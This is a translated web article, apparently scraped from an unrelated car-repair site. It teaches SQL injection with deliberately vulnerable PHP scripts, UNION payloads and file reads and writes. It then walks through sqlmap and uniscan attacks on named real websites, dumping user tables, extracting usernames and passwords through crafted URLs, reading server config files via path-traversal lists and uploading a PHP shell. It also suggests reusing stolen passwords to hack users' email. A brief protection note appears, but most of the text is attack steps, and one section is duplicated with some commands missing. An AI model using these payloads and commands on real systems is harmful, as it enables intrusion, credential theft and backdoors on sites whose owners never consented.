Filling the shell with SQLmap. Uploading a shell with SQLmap Getting information from databases

Filling the shell with SQLmap. Uploading a shell with SQLmap Getting information from databases

28.07.2023

Greetings, reader. Lately, I've been into Web security, and to some extent the work is related to this. Because I more and more often began to notice topics on various forums, with a request to show how it all works, I decided to write an article. The article will be designed for those who have not encountered this, but would like to learn. There are relatively many articles on the web on this topic, but for beginners they are a little complicated. I will try to describe everything in a clear language and detailed examples.

Foreword

In order to understand this article, you do not really need knowledge of SQL, but at least the presence of good patience and a little brain - for memorization.

I believe that one reading of the article will not be enough, because. we need living examples - as you know, practice, in the process of memorization, is not superfluous. Therefore, we will write vulnerable scripts and train on them.

What is SQL injection?
In simple terms, this is an attack on the database that will allow you to perform some action that was not planned by the creator of the script. Real life example:

Father wrote in a note to his mother that she gave Vasya 100 rubles and put it on the table. Reworking this into a joke SQL language, we get:
GET 100 RUBLES FROM YOUR WALLET AND GIVE THEM TO Vasya

Since the father wrote the note badly (Clumsy handwriting), and left it on the table, Vasya's brother, Petya, saw her. Petya, being a hacker, added “OR Petya” there and got the following request:
GET 100 RUBLES FROM YOUR WALLET AND GIVE IT TO Vasya OR Petya

Mom, having read the note, decided that she had given money to Vasya yesterday and gave 100 rubles to Petya. Here is a simple SQL injection example from real life :) Without filtering the data (Mom could barely make out the handwriting), Petya made a profit.

Preparation
For practice, you will need an archive with the source scripts for this article. Download it and unzip it on the server. Also import the database and set the data in the file cfg.php

SQL injection search

As you already understood, the injection comes from incoming data that is not filtered. The most common mistake is not filtering the passed ID. Well, roughly speaking, substitute quotes in all fields. Be it a GET/POST request or even a Cookie!

Numeric input parameter
For practice, we need a script index1.php. As I said above, we substitute quotes in the news ID.

Because our request has no filtering:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

The script will understand this as

SELECT * FROM news WHERE id=1"

And it will give us an error:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

If no error is thrown, there may be the following reasons:

1.SQL injection is not here - Quotes are filtered, or just a conversion to (int)
2. Disabled error output.

If nevertheless an error has deduced - Hurrah! We have found the first kind of SQL injection - Numeric input parameter.

String input parameter

Requests will be sent to index2.php. In this file, the request looks like:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Here we make a selection of news by username, and again - do not filter.
Again we send a request with a quote:

It gave an error. OK! So there is a vulnerability. That's enough for us to get started - let's get down to practice.

Let's take action

A bit of theory

Probably you can't wait to extract something from this, except for errors. First, understand that the sign " -- " is considered a comment in SQL.

ATTENTION! There must be spaces before and after it. In the URL they are passed as %20

Everything that comes after the comment will be discarded. That is, the request:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Execute successfully. You can try it on the index2.php script by sending a request like this:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Learn Parameter UNION. In SQL, the keyword UNION used to combine the results of two SQL queries into a single table. That is, in order to pull out something we need from another table.

We take advantage of this

If the parameter is "Numeric", then in the request we do not need to send a quote and naturally put a comment at the end. Back to the script index1.php.

Let's turn to the script sqlinj/index1.php?id=1 UNION SELECT 1 . Our database query looks like this:
SELECT * FROM news WHERE id=1 UNION SELECT 1
And he gave us an error, because. to work with query aggregation, we need the same number of fields.

Because Since we cannot influence their number in the first query, we need to select their number in the second so that it is equal to the first one.

We select the number of fields

The selection of fields is very simple, just send the following requests:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Error…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Error again!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
There is no error! So the number of columns is 5.

GROUP BY
It often happens that there can be 20 or 40 or even 60 fields. So that we don’t have to go through them every time, we use GROUP BY

If the request
sqlinj/index1.php?id=1 GROUP BY 2
did not give any errors, so the number of fields is more than 2. We try:

sqlinj/index1.php?id=1 GROUP BY 8
Op, we see an error, so the number of fields is less than 8.

If there is no error with GROUP BY 4, but there is an error with GROUP BY 6, then the number of fields is 5

Defining Display Columns
In order for nothing to be displayed from the first request, it is enough to substitute a non-existent ID, for example:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

With this action, we have determined which columns are displayed on the page. now, to replace these numbers with the desired information, you need to continue the query.

Data output

Let's say we know that the table still exists users in which there are fields id, name And pass.
We need to get information about the user with ID=1

So let's build a query like this:

sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
The script also continues to output

To do this, we will substitute the name of the fields, for the place of the numbers 1 and 3

sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
We got what we needed!

For "string input parameter" as in script index2.php you need to add a quotation mark at the beginning and a comment sign at the end. Example:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Read/Write files

To read and write files, the database user must have FILE_PRIV permissions.
Writing Files
In fact, everything is very simple. To write a file, we will use the function OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Great, we've got the file. Thus, we can upload a mini-shell:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Reading files
Reading files is even easier than writing them. It is enough just to use the function LOAD_FILE, for the place of the field that we choose:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Thus, we have read the previous written file.

Protection methods

Protecting yourself is even easier than exploiting a vulnerability. Just filter the data. If you are passing numbers, use
$id = (int) $_GET["id"];
As user malroc suggested. Defend using PDO or prepared statements.

Instead of completing

On this I want to finish my first part about “SQL injection for beginners”. In the second, we will look at more difficult examples of injections. Try to write vulnerable scripts and execute queries yourself.
And remember, do not trust any user of your site.

Spoiler: .DZEN

We have a SQL Injection on a website that looks like this,

First of all, it is desirable for us to check whether we have the privileges to write files on the attacked resource, for this we load the terminal and issue the following command:

http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

We press Enter and the analysis of our SQL Injection begins, the report looks like this:

As you can see, the report contains the version of Apache, the version of MySQL, and the version of the OS installed on the server, all this will be useful to us in the future, but most importantly, you can see that we have permission to write files, this is displayed in the Current User is DBA line: True

The next step for us is to get the paths to write our shell. We can get the path to our site on the server by downloading the httpd.conf file. We get information about the location of the httpd.conf file using Google, you can search by the version of the OS that is installed or by the list of most likely paths. In general, I will not delve into surfing on search engines, just when we figured out the most likely location of the path to the file, then it's time to download this very file to our disk, for this we enter the following command and request that the file be read on the server:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

We note right away that it is not always possible to find this config file the first time, so you can use the most likely paths where this file can be located:

LIST OF PROBABLE PATHS TO THE CONFIG FILE:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

We receive a report from sqlmap in the following form:

As you can see, sqlmap told us that the file has the same size as the file on the server, so we have the right to read this file. If there were not enough rights to read this file, then an error would come out that the file saved on our machine has a different size than the file on the server, or there is no file on the server at the path we specified and never has been. Sqlmap saved our file in the report files, and to read it you need to run the window manager. To launch the window manager, we open another terminal window and enter the command:

Next, in the manager that opens, we follow the path where sqlmap added the file, i.e.:
/root/.sqlmap/output/sacoor.com
Next, hovering over the file, press the F3 button on the keyboard and read the Apache config file:

From our config file, we see that our site is located on the server along the following path:
/home/sbshop/site/

Now that we have some information, we can try to upload the shell, for this we enter the following command:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

After entering the command, sqlmap will ask what type of filler we want to use, because in our case, the site is in PHP, then we will upload the PHP-loader, select item 4 and press Enter. Next, sqlmap will ask you to choose where we will upload our loader, and since. we already know the path to our site on the server, then select item 2, press Enter and specify the path to the site:
/home/sbshop/site/

And after that, press Enter and see the following report:

In this case, sqlmap tells us that we do not have write permissions to this folder. Don't worry, this problem is easy enough to solve. We give the command to launch uniscan and check the files and folders for the possibility of writing, here is the command.

What is sqlmap, what is it for

The program allows you to check sites for SQL injection vulnerabilities, XSS vulnerabilities, and also exploit SQL injection. Various types of SQL injections and various databases are supported.

What can be done with sqlmap

With sqlmap you can:

  • check if websites have vulnerabilities

If the site is vulnerable to SQL injection, then it is possible:

  • get information from the database, including a dump of the (entire) database
  • modify and delete information from the database
  • upload the shell (backdoor) to the web server

One of the scenarios for using sqlmap:

  • Getting username and password from database
  • Search for site administration panels (admin panel)
  • Login to the admin panel with the received username and password

In the presence of a vulnerability, an attack can develop in various directions:

  • Data modification
  • backdoor pouring
  • Injecting JavaScript code to get user data
  • Implementation of code for hooking on BeEF

As we can see, SQL injection is a very dangerous vulnerability that gives the attacker great opportunities.

Checking websites with sqlmap

If the site receives data from the user using the GET method (when both the variable name and the transmitted data are visible in the browser address bar), then you need to select the address of the page in which this variable is present. It comes after the question mark ? ), For example:

  • http://www.dwib.org/faq2.php?id=8
  • http://www.wellerpools.com/news-read.php?id=22
  • http://newsandviews24.com/read.php?id=p_36

In the first address, the variable name is id, and the passed value is 8 . In the second address, the variable name is also id, and the passed value 22 . In the third example, the variable name is the same, but the passed value is p_36. The same variable name is a random match for different sites, it can be anything, it can be any transmitted data, there can be several variables with values ​​separated by the symbol & .

If we want to check if the id variable is vulnerable to SQL injection, then we need to enter the full address - http://www.dwib.org/faq2.php?id=8 (not http://www.dwib.org /faq2.php or http://www.dwib.org).

The command to check the variable passed by the GET method is very simple:

Sqlmap -u site_url

For these sites, the commands will be:

sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36

During the verification process, sqlmap may ask various questions and they need to be answered. y(i.e. yes) or n(i.e. no). The letter y and n can be uppercase or lowercase. The capital letter means the default choice, if you agree with it, then just press Enter.

Examples of situations and questions:

Heuristics detected that the target is protected by some kind of WAF/IPS/IDS do you want sqlmap to try to detect backend WAF/IPS/IDS?

The heuristic determined that the target is protected by some kind of WAF/IPS/IDS. Do you want sqlmap to try to determine the name of the WAF/IPS/IDS?

My favorite request:

Heuristic (basic) test shows that GET parameter "id" might be injectable (possible DBMS: "MySQL") testing for SQL injection on GET parameter "id" it looks like the back-end DBMS is "MySQL". Do you want to skip test payloads specific for other DBMSes?

The bottom line is that the heuristic determined that the parameter may be vulnerable and the remote DBMS is already defined, we are asked if we want to continue checking. And in the second screenshot, the site is also vulnerable to XSS.

If you want to automate the process so that sqlmap does not ask you every time, but uses the default selection (there are always better options), then you can run the command with the option --batch:

Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch

Possible problems when scanning sqlmap

The following error may appear:

Connection timed out to the target URL. sqlmap is going to retry the request(s) if the problem persists please check that the provided target URL is valid. In case that it is, you can try to rerun with the switch "--random-agent" turned on and/or proxy switches ("--ignore-proxy", "--proxy",...)

It means that the website does not want to "talk" to sqlmap. As an option, we are offered to use --random-agent. If you can observe the site in the browser, and sqlmap writes about the inability to connect, then the site is ignoring requests, focusing on the user agent. The --random-agent option changes the default value of sqlmap to random ones:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent

Another reason for this error may be blocking your IP by a website - then you need to use a proxy. If you are already using a proxy and this error appears, then it may mean that the proxy has communication problems and it is worth trying without it.

sqlmap scan results

Found SQL injections are displayed as follows:

Those. are highlighted in bold green color, the name of the vulnerable parameter is written, the type of SQL vulnerability and there is a word injectable.

Getting a list of databases with sqlmap

To get a list of databases use the option --dbs. Examples:

sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs

Getting information from databases

For example, for the site wellerpools.com, two databases were found:

[*] information_schema [*] main_wellerpools

I want to know the list of tables in main_wellerpools database. To do this, use the option --tables. In addition to it, we need to specify the table of interest to us after the option -D:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables

List of tables:

For some reason, I want to get a list of columns from the users table. To do this, use the option --columns. In addition to it, we need to specify the database of interest to us ( -D main_wellerpools) and after the key -T the table for which we want to see a list of columns:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns

To display content, use the option --dump. It can be specified together with the database, and then the entire database will be dumped, or you can limit the data to one table or even one column. With the following command, I want to see the contents of the entire users table:

Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump

Take a look at the passwords - on a cursory inspection I thought they were hashes. The admins really tried to defend themselves, but it did not help them.

By the way, since the parameter that accepts data sent by the GET method is vulnerable, it is possible to form a request directly in the browser line in such a way that the user's login and password will be displayed directly on the site itself:

  • http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+from+users--
  • http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+from+users--

Those. we have a username, password and mail of users (and most likely even administrators) of the site. If you can find the administrative panel of the site, you can get control over the site or web server. Given the love of users for the same passwords and knowing their mailboxes, you can try to hack the mail.

In general, SQL injection is a very dangerous vulnerability.

Well, to the subject:

Spoiler: Filling the shell

We have a SQL Injection on a website that looks like this,

You must be logged in to see links.


First of all, it is desirable for us to check whether we have the privileges to write files on the attacked resource, for this we load the terminal and issue the following command:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba

Click Enter and the analysis of our SQL Injection begins, the report looks like this:

As you can see, the report contains the version of Apache, the version of MySQL, and the version of the OS installed on the server, all this will be useful to us in the future, but most importantly, you can see that we have permission to write files, this is displayed in the Current User is DBA line: True

The next step for us is to get the paths to write our shell. We can get the path to our site on the server by downloading the file httpd.conf. We get information about the location of the httpd.conf file using Google, you can search by the version of the OS that is installed or by the list of most likely paths. In general, I will not delve into surfing on search engines, just when we figured out the most likely location of the path to the file, then it's time to download this very file to our disk, for this we enter the following command and request that the file be read on the server:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf

We note right away that it is not always possible to find this config file the first time, so you can use the most likely paths where this file can be located:

LIST OF PROBABLE PATHS TO THE CONFIG FILE:

../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf

We receive a report from sqlmap in the following form:


As you can see, sqlmap told us that the file has the same size as the file on the server, so we have the right to read this file. If there were not enough rights to read this file, then an error would come out that the file saved on our machine has a different size than the file on the server, or there is no file on the server at the path we specified and never has been. Sqlmap saved our file in the report files, and to read it you need to run the window manager. To launch the window manager, we open another terminal window and enter the command:

Next, in the manager that opens, we follow the path where sqlmap added the file, i.e.:
/root/.sqlmap/output/sacoor.com
Next, hovering over the file, press the button F3 on the keyboard and read the Apache config file:


From our config file, we see that our site is located on the server along the following path:
/home/sbshop/site/

Now that we have some information, we can try to upload the shell, for this we enter the following command:

After entering the command, sqlmap will ask what type of filler we want to use, because in our case, the site is in PHP, then we will upload PHP-loader, choose point 4 and press Enter. Next, sqlmap will ask you to choose where we will upload our loader, and since. we already know the path to our site on the server, then choose point 2, press Enter and specify the path to the site:
/home/sbshop/site/

And after that we press Enter and see the following report:


In this case, sqlmap tells us that we do not have write permissions to this folder. Don't worry, this problem is easy enough to solve. We give the command to launch uniscan and check the files and folders for the ability to write, here is the command:

Uniscan -u http://www.sacoor.com/ -qwe

Now the scanner will check all writable directories:


The scanner found three directories with the ability to write files, so we are trying to upload our shell loader again, but this time in a different way. Run the command again:

sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l

and choosing point 4(filling the PHP script), specify the path:
/home/sbshop/site/admin

We see the following.



© 2023 globusks.ru - Car repair and maintenance for beginners